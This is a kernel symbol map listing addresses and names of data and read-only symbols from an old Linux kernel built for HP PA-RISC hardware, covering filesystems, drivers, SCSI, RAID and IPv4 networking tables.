10272d2c r .LC11
10272d48 r .LC10
10272d68 r .LC18
10272d88 r .LC11
10272dc4 r .LC12
10272de8 r .LC13
10272e0c r .LC14
10272e3c r .LC15
10272e5c r .LC21
10272e78 r .LC22
10272eac r .LC23
10272ed4 r .LC24
10272f00 r .LC17
10272f1c r .LC18
10272f48 r .LC25
10272f6c r .LC26
10272f70 r .LC27
10272f74 r .LC28
10272f78 r .LC31
10272fa8 r .LC32
10272fc8 r .LC33
10273004 r .LC34
10273030 r .LC35
1027304c r .LC37
1027306c r .LC40
102730a4 r .LC41
102730c8 r .LC39
102730ec r .LC38
1027310c r .LC36
10273128 r .LC42
10273154 r .LC19
10273180 r .LC44
1027319c r .LC45
102731c4 r .LC46
102731ec r .LC48
10273210 r .LC47
10273230 r .LC43
10273250 r .LC49
10273298 r .LC54
102732bc r .LC52
102732e4 r .LC50
102732e8 r .LC51
102732ec r .LC53
102732f0 r .LC55
102732f4 r .LC56
102732f8 r .LC65
10273324 r .LC66
10273350 r .LC67
10273380 r .LC16
102733a4 r .LC69
102733cc r .LC70
102733e0 r .LC10
10273404 r .LC20
10273420 r .LC68
10273440 r .LC71
10273460 r .LC72
10273484 r .LC73
10273490 r .LC74
102734ac r .LC76
102734d8 r .LC75
10273508 r .LC77
10273538 r .LC78
10273564 r .LC79
10273588 r .LC80
102735a4 r .LC81
102735cc r .LC82
102735f0 r .LC4
1027360c r .LC5
10273620 r .LC6
10273634 r .LC5
1027365c r .LC6
10273660 r .LC10
1027369c r .LC11
102736cc r .LC12
10273700 r .LC13
1027370c r .LC16
1027372c r .LC14
10273750 r .LC17
102737b4 r .LC0
102737e0 r .LC5
102737f4 r .LC6
10273804 r .LC7
10273810 r .LC8
10273814 r .LC9
10273828 r .LC10
1027384c r .LC14
10273850 r .LC19
10273854 r .LC25
10273874 r .LC26
1027387c r .LC27
102738a0 r .LC6
10273904 r .LC0
1027392c r .LC1
10273954 r .LC2
1027395c A _etext
10274000 D boot_args
10274000 D data_start
10274010 D $global$
10274014 D root_mountflags
10274018 d argv_init
10274040 d envp_init
10274068 D loops_per_jiffy
1027406c d argv___0
10274074 D child_reaper
10274078 D system_utsname
10274200 D linux_banner
10274204 d pdc_cons
10274230 D hlt_counter
10274234 d sysrom_resource
10274250 d sysram_resource
1027426c d data_resource
10274288 d code_resource
102742a4 d pdcdata_resource
102742c0 d mem_limit
102742c4 d space_id
102752c4 d free_space_ids
102752c8 d dirty_space_ids
102752cc d sid_lock
10276000 d cpu_drivers_for
10276048 d fallback_cpu_hpa
10276054 D kstack_depth_to_print
10276058 D cpu_lpmc
1027605c d irq_lock
10276060 d cpu_irq_actions
10276360 D cpu_irq_region
10276384 D irq_region
102763c4 d pdc_lock
102763c8 d hw_type_name
10276408 d hp_hardware_list
1027b388 d hp_cpu_type_mask_list
1027b5a0 D cpu_name_version
1027b5f0 D pdc_type
1027b5f4 d pa_drivers
1027b5f8 d proc_gsc_root
1027b5fc d pcxl_used_bytes
1027b600 d pcxl_used_pages
1027b604 D pcxl_dma_ops
1027b628 D pcx_dma_ops
1027c000 d hpmc_stack
10280000 d hpmc_iodc_buf
10288000 d hpmc_raddr
10288080 D hpmc_pim_data
10289000 D pci_post_reset_delay
10289004 D hba_list
10289008 D hba_count
1028900c D pcibios_fixups
10289018 d def_kbd_ops
10289038 D kbd_ops
1028903c d lba_drivers_for
10289084 d lba_cfg_ops
1028909c D lba_bios_ops
102890a4 d lba_astro_port_ops
102890bc d iosapic_irq_ops
102890cc d sba_drivers_for
10289138 d sba_mem_ratio
1028913c d sba_ops
10289160 d astro_rev___0
1028916c d ike_rev___1
10289178 d ccio_drivers_for
102891e4 d ccio_mem_ratio
102891e8 d hint_lookup
102891f8 d ccio_ops
1028921c d sio_dev
10289234 d superio_irq_ops
10289244 d expected_device
10289280 D securebits
10289284 D init_tasks
102892c0 D runqueue_lock
10289300 D tasklist_lock
10289304 d runqueue_head
10289340 d aligned_data
10289380 d stat_nam___0
102893c0 D dma_spin_lock
10289400 D lastpid_lock
10289404 d next_safe___0
10289440 D mmlist_lock
10289480 d ident_map
10289500 D default_exec_domain
1028951c d exec_domains
10289520 d exec_domains_lock
10289524 D log_wait
10289530 D console_loglevel
10289534 D default_message_loglevel
10289538 D minimum_console_loglevel
1028953c D default_console_loglevel
10289540 D console_lock
10289544 d preferred_console
10289548 d msg_level___0
1028954c d ime_list
10289554 d ime_lock
10289558 D do_get_fast_time
1028955c d firsttime___0
10289560 D pps_jitter
10289564 D pps_stabil
10289568 D pps_valid
1028956c D pps_shift
10289570 d softirq_mask_lock
10289574 D global_bh_lock
10289578 D ioport_resource
10289594 D iomem_resource
102895b0 d resource_lock
102895b4 d reserved___0
102895b8 d maxolduid
102895bc d root_table_header
102895c8 D proc_sys_file_operations
10289608 d proc_sys_inode_operations
10289648 d root_table
102897a8 d kern_table
10289c4c d vm_table
10289dd8 d proc_table
10289e04 d fs_table
1028a098 d debug_table
1028a0c4 d dev_table
1028a0f0 D cap_bset
1028a0f4 D task_capability_lock
1028a0f8 D tick
1028a0fc D tickadj
1028a100 D tq_timer
1028a108 D tq_immediate
1028a110 D time_state
1028a114 D time_status
1028a118 D time_constant
1028a11c D time_tolerance
1028a120 D time_precision
1028a124 D time_maxerror
1028a128 D time_esterror
1028a12c D time_freq
1028a130 D timerlist_lock
1028a134 D tqueue_lock
1028a138 d count___0
1028a13c D xtime_lock
1028a140 d uidhash_lock
1028a144 D root_user
1028a15c D max_queued_signals
1028a160 D overflowuid
1028a164 D overflowgid
1028a168 D fs_overflowuid
1028a16c D fs_overflowgid
1028a170 D C_A_D
1028a174 D notifier_lock
1028a178 D uts_sem
1028a18c D hotplug_path
1028a28c d dev_probe_sem
1028a2a0 d tq_context
1028a2a8 d context_task_wq
1028a2b4 d context_task_done
1028a2c0 D pgt_cache_water
1028a2c8 D protection_map
1028a308 D page_cache_size
1028a30c D pagecache_lock
1028a310 D pagemap_lru_lock
1028a314 d file_shared_mmap
1028a320 d file_private_mmap
1028a32c D vmlist_lock
1028a330 d slab_break_gfp_order
1028a334 d cache_sizes
1028a3dc d cache_cache
1028a440 d clock_searchp
1028a444 D freepages
1028a450 D nr_async_pages
1028a454 D buffer_mem
1028a460 D page_cache
1028a46c D pager_daemon
1028a478 D kswapd_wait
1028a484 D kswapd_done
1028a490 d recalc___0
1028a494 D kreclaimd_wait
1028a4a0 d zone_names
1028a4ac d zone_balance_ratio
1028a4b8 d zone_balance_min
1028a4c4 d zone_balance_max
1028a4d0 d swap_aops
1028a4e8 D swapper_space
1028a518 D swaplock
1028a51c D swap_list
1028a524 d least_priority___0
1028a528 d overflow___1
1028a52c D numnodes
1028a530 D contig_page_data
1028bb78 D shmem_inodes
1028bb80 d shmem_ilock
1028bb84 d shmem_aops
1028bb9c d shmem_file_operations
1028bbdc d shmem_inode_operations
1028bc1c d shmem_dir_operations
1028bc5c d shmem_dir_inode_operations
1028bc9c d shmem_ops
1028bcc4 d shmem_private_vm_ops
1028bcd0 d shmem_shared_vm_ops
1028bcdc d shmem_fs_type
1028bcf8 D generic_ro_fops
1028bd38 d chrdevs_lock
1028bd3c d def_chr_fops
1028bd7c d bad_sock_fops
1028bdbc D files_stat
1028bdc8 d anon_list
1028bdd0 d free_list
1028bdd8 D files_lock
1028bddc d old_max___0
1028bde0 d buffersize_index
1028be24 d hash_table_lock
1028be28 d lru_list_lock
1028be2c d unused_list_lock
1028be30 d buffer_wait
1028be3c D buffermem_pages
1028be40 D bdf_prm
1028be64 D bdflush_min
1028be88 D bdflush_max
1028beac d page_uptodate_lock___0
1028beb0 D bdflush_tsk
1028beb4 d mount_sem
1028bec8 D max_super_blocks
1028becc D super_blocks
1028bed4 d file_systems_lock
1028bed8 d vfsmntlist
1028bee0 d need_escaping
1028bee4 d fs_info
1028bf24 d nfs_info
1028bf90 d bdev_lock
1028bf94 D def_blk_fops
1028bfd4 d binfmt_lock
1028bfd8 D read_fifo_fops
1028c018 D write_fifo_fops
1028c058 D rdwr_fifo_fops
1028c098 D read_pipe_fops
1028c0d8 D write_pipe_fops
1028c118 D rdwr_pipe_fops
1028c158 d pipefs_dentry_operations
1028c170 d pipefs_ops
1028c198 d .LC8
1028c1a4 d pipe_fs_type
1028c1bc d arbitration_lock
1028c1c0 D page_symlink_inode_operations
1028c200 d band_table
1028c218 d fasync_lock
1028c21c D def_fifo_fops
1028c25c D leases_enable
1028c260 D lease_break_time
1028c264 D file_lock_list
1028c26c d blocked_list
1028c274 D dcache_lock
1028c278 d dentry_unused
1028c280 D dentry_stat
1028c298 d .LC6
1028c2a4 d inode_in_use
1028c2ac d inode_unused
1028c2b4 d anon_hash_chain
1028c2bc D inode_lock
1028c2c0 d counter___4
1028c2c4 d bad_file_ops
1028c304 D bad_inode_ops
1028c344 D dir_notify_enable
1028c348 d dn_lock
1028c34c d som_format
1028c364 D script_format
1028c37c d elf_format
1028c394 d proc_sops
1028c3bc d proc_root_operations
1028c3fc d proc_root_inode_operations
1028c43c D proc_root
1028c488 d proc_maps_operations
1028c4c8 d proc_info_file_operations
1028c508 d proc_mem_operations
1028c548 d proc_mem_inode_operations
1028c588 d proc_pid_link_inode_operations
1028c5c8 d base_stuff
1028c688 d pid_fd_dentry_operations
1028c6a0 d pid_dentry_operations
1028c6b8 d pid_base_dentry_operations
1028c6d0 d proc_fd_operations
1028c710 d proc_fd_inode_operations
1028c750 d proc_base_operations
1028c790 d proc_base_inode_operations
1028c7d0 d proc_self_inode_operations
1028c810 d proc_file_operations
1028c850 d proc_link_inode_operations
1028c890 d proc_dentry_operations
1028c8a8 d proc_dir_operations
1028c8e8 d proc_dir_inode_operations
1028c928 d task_state_array
1028c940 D proc_kmsg_operations
1028c980 d proc_profile_operations
1028c9c0 d simple_ones___1
1028ca58 D proc_kcore_operations
1028ca98 d proc_fs_type
1028cab0 D warn_no_part
1028cab4 d check_part
1028cabc d first_time___0
1028cac0 d nibblemap
1028cb00 d ext2_filetype_table
1028cb08 D ext2_dir_operations
1028cb48 d ext2_max_sizes
1028cbb8 D ext2_file_operations
1028cbf8 D ext2_file_inode_operations
1028cc38 D ext2_aops
1028cc50 d ext2_type_by_mode
1028cc60 D ext2_dir_inode_operations
1028cca0 d ext2_sops
1028ccc8 d ext2_fs_type
1028cce0 D ext2_fast_symlink_inode_operations
1028cd20 d isofs_sops
1028cd48 d isofs_dentry_ops
1028cd78 d isofs_aops
1028cd90 d iso9660_fs_type
1028cda8 D isofs_dir_operations
1028cde8 D isofs_dir_inode_operations
1028ce28 d .LC0
1028ce58 D isofs_symlink_aops
1028ce70 d nfs_sops
1028ce98 D nfs_rpcstat
1028cec0 d nfs_version
1028cecc D nfs_program
1028cee0 d nfs_fs_type
1028cef8 D nfs_file_operations
1028cf38 D nfs_file_inode_operations
1028cf78 D nfs_file_aops
1028cf90 D nfs_wreq_lock
1028cf94 d nfs_nr_requests
1028cf98 D nfs_dir_operations
1028cfd8 D nfs_dir_inode_operations
1028d018 D nfs_dentry_operations
1028d030 D nfs_symlink_inode_operations
1028d070 D nfs_v2_clientops
1028d0cc d nfs_errtbl
1028d1bc d nfs_procedures
1028d324 D nfs_version2
1028d330 d flushd_queue
1028d338 D nfs_flushd_lock
1028d33c d nfs_delete_queue
1028d344 d mnt_procedures
1028d36c d mnt3_procedures
1028d394 d mnt_version1
1028d3a0 d mnt_version3
1028d3ac d mnt_version
1028d3bc D mnt_program
1028d3d0 d nlm_cookie
1028d3d4 d nlm_host_sema
1028d3e8 d nlmsvc_sema
1028d3fc d lockd_start
1028d410 d lockd_exit
1028d41c D nlm_timeout
1028d420 d warned___1
1028d424 d warned___2
1028d428 d nlmsvc_version1
1028d438 d nlmsvc_version3
1028d448 d nlmsvc_version
1028d458 D nlmsvc_program
1028d474 D nlmsvc_procedures
1028d794 d nlm_file_sema
1028d7a8 d nsm_procedures
1028d834 d nsm_version1
1028d840 d nsm_version
1028d848 D nsm_program
1028d85c d nlm_procedures
1028da3c d nlm_version1
1028da48 d nlm_version3
1028da54 d nlm_versions
1028da64 D nlm_program
1028da78 D msg_ctlmax
1028da7c D msg_ctlmnb
1028da80 D msg_ctlmni
1028da84 d msg_bytes
1028da88 d msg_hdrs
1028da8c D sem_ctls
1028da9c D shm_ctlmax
1028daa0 D shm_ctlall
1028daa4 D shm_ctlmni
1028daa8 d shm_file_operations
1028dae8 d shm_vm_ops
1028e000 d init_mmap
1028e040 d init_fs
1028e064 d init_files
1028e204 d init_signals
1028e60c D init_mm
1028f000 D swapper_pg_dir
10290000 D pg0
10292000 D tq_disk
10292008 D io_request_lock
1029200c d .LC15
10292034 D rd_size
10292038 D rd_blocksize
1029203c D rd_prompt
10292040 D mount_initrd
10292044 d initrd_fops
10292084 d fd_fops
10292098 d .LC36
1029209c d badmagic___0
102920a0 d badtty___1
102920a4 d tty_fops
102920e4 d hung_up_tty_fops
10292124 d tty_sem
10292138 d baud_table
102921b4 d n_baud_table
102921b8 D tty_ldisc_N_TTY
102921f8 d mem_fops
10292238 d kmem_fops
10292278 d null_fops
102922b8 d port_fops
102922f8 d zero_fops
10292338 d full_fops
10292378 d memory_fops
102923b8 d raw_fops
102923f8 d raw_ctl_fops
10292438 d misc_list
10292450 d misc_sem
10292464 d misc_fops
102924a4 d random_read_wakeup_thresh
102924a8 d random_write_wakeup_thresh
102924ac d poolinfo_table
1029256c d random_read_wait
10292578 d random_write_wait
10292584 D random_fops
102925c4 D urandom_fops
10292604 D random_table
10292738 D keyboard_type
1029273c D kd_mksound
10292740 d vt_activate_queue
1029274c d vcs_fops
1029278c d translations
10292f8c D dfont_unicount
1029308c D dfont_unitable
102932e0 d blankinterval
102932e4 D want_console
102932e8 D con_task_queue
102932f0 D color_table
10293300 D default_red
10293340 D default_grn
10293380 D default_blu
102933c0 D con_buf_sem
102933d4 d error___4
102933d8 D vt_console_driver
10293404 D console_tasklet
10293418 d sel_start
1029341c d inwordLut
1029343c d serial_version
10293440 d serial_revdate
10293444 d serial_name
10293448 d tq_serial
10293450 d uart_config
10293504 d rs_table
10296304 d tmp_buf_sem
10296318 d timedia_single_port
10296324 d timedia_dual_port
10296360 d timedia_quad_port
10296390 d timedia_eight_port
102963ac d timedia_data
102963d4 d pci_boards
102971c0 d info___1
102971c4 d sercons
102971f0 D keypress_wait
102971fc d npadch
10297200 d kbd
10297204 d key_handler
10297244 d spec_fn_table
10297294 d buf___0
10297298 d ret_diacr
102972a0 d pad_chars___1
102972a4 d app_map___2
102972a8 d cur_chars___3
102972ac d ledstate
102972b0 D keyboard_tasklet
102972c4 D plain_map
102973c4 D shift_map
102974c4 D altgr_map
102975c4 D ctrl_map
102976c4 D shift_ctrl_map
102977c4 D alt_map
102978c4 D ctrl_alt_map
102979c4 D key_maps
10297dc4 D keymap_count
10297dc8 D func_buf
10297e64 D funcbufptr
10297e68 D funcbufsize
10297e6c D funcbufleft
10297e70 D func_table
10298270 D accent_table
10298570 D accent_table_size
10298574 d gsc_ps2_kbd_ops
10298594 d keycode_translate
10298694 D hp_ps2kbd_sysrq_xlate
10298714 d high_keys
1029873c d e0_keys
102987bc D hp_plain_map
102988bc D hp_shift_map
102989bc D hp_altgr_map
10298abc D hp_ctrl_map
10298bbc D hp_shift_ctrl_map
10298cbc D hp_alt_map
10298dbc D hp_ctrl_alt_map
10298ebc d hil_kbd_ops
10298edc D sysrq_enabled
10298ee0 d devfs_handle
10298ee4 d lp_count
10298ee8 d lp_fops
10298f28 d parport_nr
10298f34 d reset
10298f38 d parport_ptr
10298f3c d lp_driver
10298f4c d gen_rtc_opened
10298f50 d gen_uie_on
10298f54 d gen_uie_data
10298f58 d gen_rtc_wait
10298f64 d gen_rtc_fops
10298fa4 d gen_rtc_dev
10298fbc d t21142_csr13
10298fc8 D t21142_csr14
10298fd4 d t21142_csr15
10298fe0 d eeprom_fixups
102991d8 d block_name
102991f0 d last_mediatable___0
102991f4 d last_ee_data___1
102991f8 d controller_index___2
102991fc d version
10299234 d max_interrupt_work
10299238 d rx_copybreak
1029923c d csr0
10299240 D tulip_debug
10299244 D tulip_tbl
10299370 d tulip_pci_tbl
102995d8 D t21040_csr13
102995e8 D t21041_csr13
102995f4 D t21041_csr14
10299600 D t21041_csr15
1029960c d last_phys_addr___1
10299614 d board_idx___4
10299618 d .LC63
10299628 d tulip_driver
10299648 d eth7_dev
10299778 d eth6_dev
102998a8 d eth5_dev
102999d8 d eth4_dev
10299b08 d eth3_dev
10299c38 d eth2_dev
10299d68 d eth1_dev
10299e98 d eth0_dev
10299fc8 D loopback_dev
1029a0f8 D dev_base
1029a0fc D dev_base_lock
1029a100 d version
1029a104 d i596_debug
1029a108 d rx_copybreak
1029a10c D init_setup
1029a11c d dma_consistent
1029a120 d rx_ring_size
1029a124 d ticks_limit
1029a128 d max_cmd_backlog
1029a12c D parport_default_timeslice
1029a130 D parport_default_spintime
1029a134 d portlist
1029a138 d portlist_tail
1029a13c D parportlist_lock
1029a140 d driver_chain
1029a144 D driverlist_lock
1029a148 d dead_ops
1029a1ac d parport_default_sysctl_table
1029a33c D parport_gsc_ops
1029a3a0 d parport_drivers_for
1029a3f0 d device_request_lock
1029a3f4 d scsi_bhqueue_lock
1029a3f8 d next_no___0
1029a3fc D scsi_hosts
1029a400 D scsi_host_no_list
1029a404 D scsi_hostlist
1029a408 D scsi_devicelist
1029a40c D max_scsi_hosts
1029a410 D next_scsi_host
1029a414 d generic_sense___0
1029a41c d tur_command___1
1029a424 d generic_sense
1029a42c d allocator_request_lock
1029a430 d dma_malloc_freelist
1029a434 d dma_sectors
1029a438 D scsi_dma_free_sectors
1029a43c D scsi_need_isa_buffer
1029a440 d dma_malloc_pages
1029a444 d device_list
1029a904 d max_scsi_luns
1029a908 d ncr_debug
1029a90c D sym53c8xx_lock
1029a910 d mp0
1029a9cc d first_host
1029a9d0 d driver_setup
1029aa70 d div_10M
1029aa8c d Symbios_trailer___1
1029aa94 d driver_template
1029ab00 d hosts_used
1029ab04 d lasi_scsi_drivers
1029ab70 D sim700_debug
1029ab74 d sim700_errors
1029ab78 d sim700_intrs
1029ab7c d ignore_ids
1029ab80 d opt_nodisc
1029ab84 d opt_noneg
1029ab88 d hosttype
1029ab8c d opt_base
1029ab90 d opt_irq
1029ab94 d dma_consistent
1029ab98 d SCRIPT
1029b04c d A_int_bad_msg1_used
1029b050 d A_int_bad_msg2_used
1029b054 d A_int_bad_msg3_used
1029b058 d A_int_cmd_bad_phase_used
1029b05c d A_int_cmd_complete_used
1029b060 d A_int_data_bad_phase_used
1029b064 d A_int_disc1_used
1029b068 d A_int_disc2_used
1029b06c d A_int_disc3_used
1029b070 d A_int_msg_sdtr1_used
1029b074 d A_int_msg_sdtr2_used
1029b078 d A_int_msg_sdtr3_used
1029b07c d A_int_no_msgout1_used
1029b080 d A_int_no_msgout2_used
1029b084 d A_int_no_msgout3_used
1029b088 d A_int_not_cmd_complete_used
1029b08c d A_int_not_rej_used
1029b090 d A_int_rej_msg1_used
1029b094 d A_int_rej_msg2_used
1029b098 d A_int_rej_msg3_used
1029b09c d A_int_resel_not_msgin_used
1029b0a0 d A_int_reselected_used
1029b0a4 d A_int_sel_no_ident_used
1029b0a8 d A_int_sel_not_cmd_used
1029b0ac d A_int_selected_used
1029b0b0 d A_int_status_not_msgin_used
1029b0b4 d A_int_test1a_used
1029b0b8 d A_int_test1b_used
1029b0b8 d A_msg_reject_used
1029b0c4 d A_reselected_identify_used
1029b0c8 d A_targ_cdb_used
1029b0cc d A_targ_cdb_cnt_used
1029b0d0 d A_targ_din_script_used
1029b0d4 d A_targ_dout_script_used
1029b0d8 d A_targ_msgin_used
1029b11c d A_targ_msgout_used
1029b12c d A_targ_msgout_cnt_used
1029b13c d A_targ_select_used
1029b140 d A_targ_status_used
1029b144 d A_test1_dst_used
1029b148 d A_test1_src_used
1029b14c d LABELPATCHES
1029b20c d EXTERNAL_PATCHES
1029b20c d INSTRUCTIONS
1029b210 d PATCHES
1029b214 d EXTERNAL_PATCHES_LEN
1029b218 d process_issue_queue_running
1029b21c d driver_template
1029b290 d hosts_used
1029b294 d zalon_id
1029b2a0 d pdc_result
1029b320 d zalon_scsi_drivers
1029b370 d ncr_debug
1029b374 D ncr53c8xx_lock
1029b378 d mp0
1029b434 d driver_setup
1029b4d4 d first_host
1029b4d8 d the_template
1029b4dc d div_10M
1029b4f8 d device_tab
1029b548 d driver_template
1029b5b4 d max_buffers
1029b5b8 d st_dev_arr_lock
1029b5bc d st_buffers
1029b5c0 d st_buffer_size
1029b5c4 d st_write_threshold
1029b5c8 d st_max_buffers
1029b5cc d st_max_sg_segs
1029b5d0 d scsi_tapes
1029b5d4 d st_template
1029b61c d reject_list
1029b67c d st_fops
1029b6bc d formats___0
1029b6cc d st_registered
1029b6d0 d sd_template
1029b718 d sd_fops
1029b72c d sd_gendisk
1029b75c d sd_gendisks
1029b760 d sr_template
1029b7a8 d sr_dops
1029b7e8 d loadmech___0
1029b808 d xa_test
1029b80c d sg_version_str
1029b810 d sg_version_num
1029b814 D sg_big_buff
1029b818 d def_reserved_size
1029b81c d sg_pool_secs_avail
1029b820 d dummy_cmdp
1029b824 d sg_dev_arr_lock
1029b828 d sg_template
1029b870 d sg_dev_arr
1029b874 d sg_fops
1029b8b4 d sg_registered___0
1029b8b8 d allow_ops
1029b8c4 d sg_proc_sgp
1029b8c8 d sg_proc_sg_dirname
1029b8cc d sg_proc_leaf_names
1029b8f0 d sg_proc_leaf_reads
1029b914 d sg_proc_leaf_writes
1029b938 d autoclose
1029b93c d lockdoor
1029b940 D cdrom_fops
1029b954 D cdrom_table
1029ba88 D cdrom_cdrom_table
1029bae0 D cdrom_root_table
1029bb38 D pci_root_buses
1029bb40 D pci_devices
1029bb48 d pci_drivers
1029bb50 d pci_compat_driver
1029bb70 d pci_lock
1029bb74 d pci_class_numbers
1029bc20 d pci_class_names
1029bd78 d proc_bus_pci_operations
1029bdb8 d linear_personality
1029bde0 d raid0_personality
1029be08 d retry_list_lock
1029be0c D raid1_retry_list
1029be10 d raid1_personality
1029be38 d raid5_personality
1029be60 d xor_block_8regs
1029be7c d xor_block_32regs
1029be98 d xor_block_8regs_p
1029beb4 d xor_block_32regs_p
1029bed0 d sysctl_speed_limit_min
1029bed4 d sysctl_speed_limit_max
1029bed8 d raid_table
1029bf5c d raid_dir_table
1029bfb4 d raid_root_table
1029c00c d md_gendisk
1029c03c d all_mddevs
1029c044 d device_names
1029c04c d nomem___0
1029c054 d all_raid_disks
1029c05c d pending_raid_disks
1029c064 d md_fops
1029c078 D resync_wait
1029c084 D md_notifier
1029c090 d name___1
1029c094 D proc_runway_root
1029c098 D proc_gsc_root
1029c09c d dino_drivers_for
1029c1bc d dino_cfg_ops
1029c1d4 D dino_port_ops
1029c1ec d dino_irq_ops
1029c1fc D dino_bios_ops
1029c204 d busdev_drivers_for
1029c270 d busdev_list
1029c274 D busdev_irq_ops
1029c284 d wax_driver_for
1029c2cc d lan_drivers_for
1029c338 d serial_drivers_for
1029c3c8 d hil_drivers_for
1029c410 d wax_eisa_drivers_for
1029c47c d wax_port_ops
1029c4c0 d socket_file_ops
1029c500 d sockets_in_use
1029c540 d sockfs_ops
1029c568 d .LC16
1029c574 d sock_fs_type
1029c58c d sockfs_dentry_operations
1029c5a4 d nargs
1029c5c0 D sysctl_wmem_max
1029c5c4 D sysctl_rmem_max
1029c5c8 D sysctl_wmem_default
1029c5cc D sysctl_rmem_default
1029c5d0 D sysctl_optmem_max
1029c5d4 D net_big_sklist_lock
1029c5d8 D sysctl_hot_list_len
1029c5dc d count___0
1029c5e0 D core_table
1029c848 D if_port_text
1029c864 d ptype_all
1029c868 d netdev_chain
1029c86c D netdev_nit
1029c870 D netdev_max_backlog
1029c874 D no_cong_thresh
1029c878 D no_cong
1029c87c D lo_cong
1029c880 D mod_cong
1029c884 d net_bh_lock___0
1029c888 d dev_boot_phase
1029c88c d dst_total
1029c890 d dst_lock
1029c894 d dst_gc_timer_inc
1029c898 d dst_gc_timer
1029c8ac D dst_dev_notifier
1029c8b8 d neigh_tbl_lock
1029c8bc D neigh_sysctl_template
1029cd0c D rtnl_sem
1029cd20 d net_rand_seed
1029cd24 D net_msg_cost
1029cd28 D net_msg_burst
1029cd2c d ratelimit_lock___0
1029cd30 d toks___1
1029cd34 D ether_table
1029cd60 D e802_table
1029cd90 D qdisc_tree_lock
1029cd94 D noop_qdisc_ops
1029cdd8 D noop_qdisc
1029ce38 D noqueue_qdisc_ops
1029ce78 D noqueue_qdisc
1029ced8 d pfifo_fast_ops
1029cf40 D ip_rt_min_delay
1029cf44 D ip_rt_max_delay
1029cf48 D ip_rt_gc_timeout
1029cf4c D ip_rt_gc_interval
1029cf50 D ip_rt_gc_min_interval
1029cf54 D ip_rt_redirect_number
1029cf58 D ip_rt_redirect_load
1029cf5c D ip_rt_redirect_silence
1029cf60 D ip_rt_error_cost
1029cf64 D ip_rt_error_burst
1029cf68 D ip_rt_gc_elasticity
1029cf6c D ip_rt_mtu_expires
1029cf70 D ip_rt_min_pmtu
1029cf74 D ip_rt_min_advmss
1029cf78 D ipv4_dst_ops
1029cfa4 D ip_tos2prio
1029cfb4 d rt_flush_lock
1029cfb8 d expire___1
1029cfbc d rt_peer_lock___5
1029cfc0 d ip_fb_id_lock___6
1029cfc4 d mtu_plateau
1029cfd8 D ipv4_route_table
1029d2f0 D inet_peer_idlock
1029d2f4 d peer_fake_node
1029d31c d peer_root
1029d320 d peer_pool_lock
1029d324 D inet_peer_threshold
1029d328 D inet_peer_minttl
1029d32c D inet_peer_maxttl
1029d330 D inet_peer_unused_tailp
1029d334 D inet_peer_unused_lock
1029d338 d peer_periodic_timer
1029d34c D inet_peer_gc_mintime
1029d350 D inet_peer_gc_maxtime
1029d354 d tcp_protocol
1029d36c d udp_protocol
1029d384 d icmp_protocol
1029d39c D inet_protocol_base
1029d3a0 D sysctl_ipfrag_high_thresh
1029d3a4 D sysctl_ipfrag_low_thresh
1029d3a8 D sysctl_ipfrag_time
1029d3ac d ipfrag_lock
1029d3b0 D ip_frag_nqueues
1029d3b4 D ip_frag_mem
1029d3b8 D sysctl_ip_dynaddr
1029d3bc D sysctl_ip_default_ttl
1029d3c0 d ip_packet_type
1029d3d4 D ip_ra_lock
1029d3d8 D sysctl_tcp_fin_timeout
1029d3dc D tcp_orphan_count
1029d3e0 D sysctl_tcp_wmem
1029d3ec D sysctl_tcp_rmem
1029d3f8 d new_state
1029d408 D sysctl_tcp_timestamps
1029d40c D sysctl_tcp_window_scaling
1029d410 D sysctl_tcp_sack
1029d414 D sysctl_tcp_fack
1029d418 D sysctl_tcp_reordering
1029d41c D sysctl_tcp_ecn
1029d420 D sysctl_tcp_dsack
1029d424 D sysctl_tcp_app_win
1029d428 D sysctl_tcp_adv_win_scale
1029d42c D sysctl_tcp_stdurg
1029d430 D sysctl_tcp_rfc1337
1029d434 D sysctl_tcp_max_orphans
1029d438 D sysctl_tcp_retrans_collapse
1029d43c D sysctl_tcp_syn_retries
1029d440 D sysctl_tcp_synack_retries
1029d444 D sysctl_tcp_keepalive_time
1029d448 D sysctl_tcp_keepalive_probes
1029d44c D sysctl_tcp_keepalive_intvl
1029d450 D sysctl_tcp_retries1
1029d454 D sysctl_tcp_retries2
1029d480 d tcp_socket
1029d4c0 D tcp_hashinfo
1029d5c0 D sysctl_local_port_range
1029d5c8 D tcp_port_rover
1029d5cc D sysctl_max_syn_backlog
1029d5d0 D or_ipv4
1029d5e4 D ipv4_specific
1029d614 D tcp_prot
1029d6c0 D sysctl_tcp_tw_recycle
1029d6c4 D sysctl_tcp_max_tw_buckets
1029d6c8 D sysctl_tcp_syncookies
1029d6cc D sysctl_tcp_abort_on_overflow
1029d6d0 D tcp_tw_count
1029d6d4 d tcp_tw_death_row_slot
1029d6d8 d tw_death_lock
1029d6dc d tcp_tw_timer
1029d6f0 d tcp_twcal_hand
1029d6f4 d tcp_twcal_timer
1029d708 D raw_v4_lock
1029d70c D raw_prot
1029d7b0 D udp_hash_lock
1029d7b4 D udp_prot
1029d858 d arp_generic_ops
1029d878 d arp_hh_ops
1029d898 d arp_direct_ops
1029d8b8 D arp_broken_ops
1029d8d8 D arp_tbl
1029da90 d arp_packet_type
1029daa4 D icmp_err_convert
1029db24 D sysctl_icmp_echo_ignore_all
1029db28 D sysctl_icmp_echo_ignore_broadcasts
1029db2c D sysctl_icmp_ignore_bogus_error_responses
1029db30 D icmp_socket
1029db34 d icmp_xmit_holder
1029db38 D sysctl_icmp_destunreach_time
1029db3c D sysctl_icmp_timeexceed_time
1029db40 D sysctl_icmp_paramprob_time
1029db44 D sysctl_icmp_echoreply_time
1029db48 d icmp_pointers
1029dcc4 D ipv4_devconf
1029dcf8 d ipv4_devconf_dflt
1029dd2c D inetdev_lock
1029dd30 D ip_netdev_notifier
1029dd3c d devinet_sysctl
1029e0dc D inet_stream_ops
1029e11c D inet_dgram_ops
1029e15c D inet_family_ops
1029e16c D sysctl_igmp_max_memberships
1029e170 d tcp_retr1_max
1029e174 d ip_local_port_range_min
1029e17c d ip_local_port_range_max
1029e184 D ipv4_table
1029ea74 D fib_inetaddr_notifier
1029ea80 D fib_netdev_notifier
1029ea8c d fib_info_lock
1029ea90 d fib_props
1029eaf8 d type2flags___0
1029eb28 d fib_hash_lock
1029eb2c d fn_hash_last_dflt
1029eb30 D sysctl_unix_max_dgram_qlen
1029eb34 D unix_table_lock
1029eb38 d unix_nr_socks
1029eb3c d ordernum___0
1029eb40 D unix_stream_ops
1029eb80 D unix_dgram_ops
1029ebc0 D unix_family_ops
1029ebd0 d gc_current
1029ebd4 D unix_tot_inflight
1029ebd8 d unix_gc_sem___0
1029ebec D unix_table
1029ec44 D unix_root_table
